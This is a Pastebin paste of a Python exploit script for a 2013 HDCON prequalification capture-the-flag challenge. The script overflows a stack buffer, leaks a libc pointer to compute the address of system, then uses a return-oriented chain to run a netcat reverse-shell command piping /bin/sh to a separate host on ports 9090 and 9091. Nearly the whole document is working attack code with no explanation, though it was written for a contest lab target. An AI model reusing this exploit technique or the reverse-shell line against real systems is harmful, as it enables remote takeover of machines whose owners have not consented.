Guest User

hdcon prequal lv5 exploitation _ stage version

a guest
Nov 23rd, 2013
248
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # /usr/bin/python
  2. #
  3. # HDCON 2013 PreQual Lv5 - exploitation, luckyzzang
  4. # by sweetchip
  5. # 2013.11.24 (stage version)
  6. from socket import *
  7. import struct
  8. import time
  9.  
  10. p = lambda x : struct.pack("<L", x)
  11. up = lambda x : struct.unpack("<L", x)
  12.  
  13. ip = "192.168.32.225"
  14. port = 7777
  15.  
  16. s = socket(AF_INET, SOCK_STREAM)
  17. s.connect((ip, port))
  18. print s.recv(1024) # msg
  19.  
  20. func_main = 0x080486d4
  21. rand = 0x0804a030
  22. send = 0x08048610
  23. recv = 0x080485f0
  24. libc = 0xb75b5000
  25. ppppr = 0x080489cc
  26. freespace = 0x0804a054
  27. system = 0
  28.  
  29. cmd = "nc 192.168.32.43 9090 | /bin/sh |nc 192.168.32.43 9091;"
  30.  
  31. ##################################################
  32. # Stage 1 - Get system addr
  33. ##################################################
  34. payload = "A"*0x408 # buf
  35. payload += "SWCP" # sfp
  36. ##################################################
  37. payload += p(send) # send <-- RET HERE!
  38. payload += p(ppppr)
  39. payload += p(4)
  40. payload += p(rand) # rand
  41. payload += p(4)
  42. payload += p(0)
  43. ##################################################
  44. payload += p(func_main)
  45. payload += "AAAA"
  46. payload += p(4)
  47. ##################################################
  48. s.send(payload) # send
  49. temp = s.recv(4) # get rand ptr
  50. ##################################################
  51.  
  52. ##################################################
  53. # calc system addr
  54. ##################################################
  55. temp = up(temp)[0]
  56. # offset here!
  57. temp -= 0x34470 # rand - base_to_rand
  58. temp += 0x41280 # base + base_to_system
  59. system = temp
  60. print "system addr : " + hex(system)
  61. ##################################################
  62.  
  63. ##################################################
  64. # Stage 2 - exploit
  65. ##################################################
  66. payload = ""
  67. payload += "A" * 0x408
  68. payload += "SWCP"
  69. ##################################################
  70. payload += p(recv) # recv
  71. payload += p(ppppr)
  72. payload += p(4)
  73. payload += p(freespace)
  74. payload += p(len(cmd))
  75. payload += p(0)
  76. ##################################################
  77. payload += p(system) # system
  78. payload += "SWCP"
  79. payload += p(freespace) # cmd
  80. ##################################################
  81.  
  82. print s.recv(1024) # msg
  83. s.send(payload) # sending payload
  84. time.sleep(0.3)
  85. s.send(cmd) # send command
  86. print "Sending Payload . . ."
  87.  
  88. raw_input("GOT SHELL?")
RAW Paste Data